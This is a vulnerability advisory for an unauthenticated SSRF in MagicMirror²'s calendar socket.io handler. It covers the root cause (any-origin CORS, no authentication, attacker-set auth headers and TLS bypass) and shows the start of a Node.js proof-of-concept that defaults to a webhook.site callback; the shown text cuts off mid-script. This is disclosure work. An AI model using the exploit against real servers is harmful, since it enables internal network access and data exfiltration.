CVE-2026-63643

# Vulnerability — SSRF via `ADD_CALENDAR` (MagicMirror² calendar) > Analysis of the PoC `exploit-ssrf-calendar.js`. > Target: `calendar/node_helper.js` of MagicMirror², socket.io namespace `/calendar`. --- ## Identification | Field | Value | |-------|-------| | **PoC file** | `exploit-ssrf-calendar.js` | | **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` | | **Precondition** | reach the mirror's HTTP port (no authentication required) | --- ## Description The `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL that is **fully attacker-controlled**, with no SSRF protection whatsoever — unlike the project's hardened `/cors` endpoint. Worse, the attacker also controls: - the **authentication headers** the server attaches to the request (`auth: { method: "bearer", pass: "..." }`); - the `selfSignedCert` flag, which **disables TLS verification** of the server-side request. When the target's response is **valid iCal**, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` — turning the SSRF into **full data exfiltration** (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body). --- ## Root cause: unauthenticated socket.io channel + permissive CORS The socket.io server accepts connections from **any origin** and with **no authentication**: ```js const io = new Server(server, { cors: { origin: /.*$/, credentials: true } }); ``` The `/calendar` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification. --- ## Exploit (`exploit-ssrf-calendar.js`) ```js const { io } = require("socket.io-client"); const TARGET = process.env.MM || "http://TARGET:8888"; const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/"; const so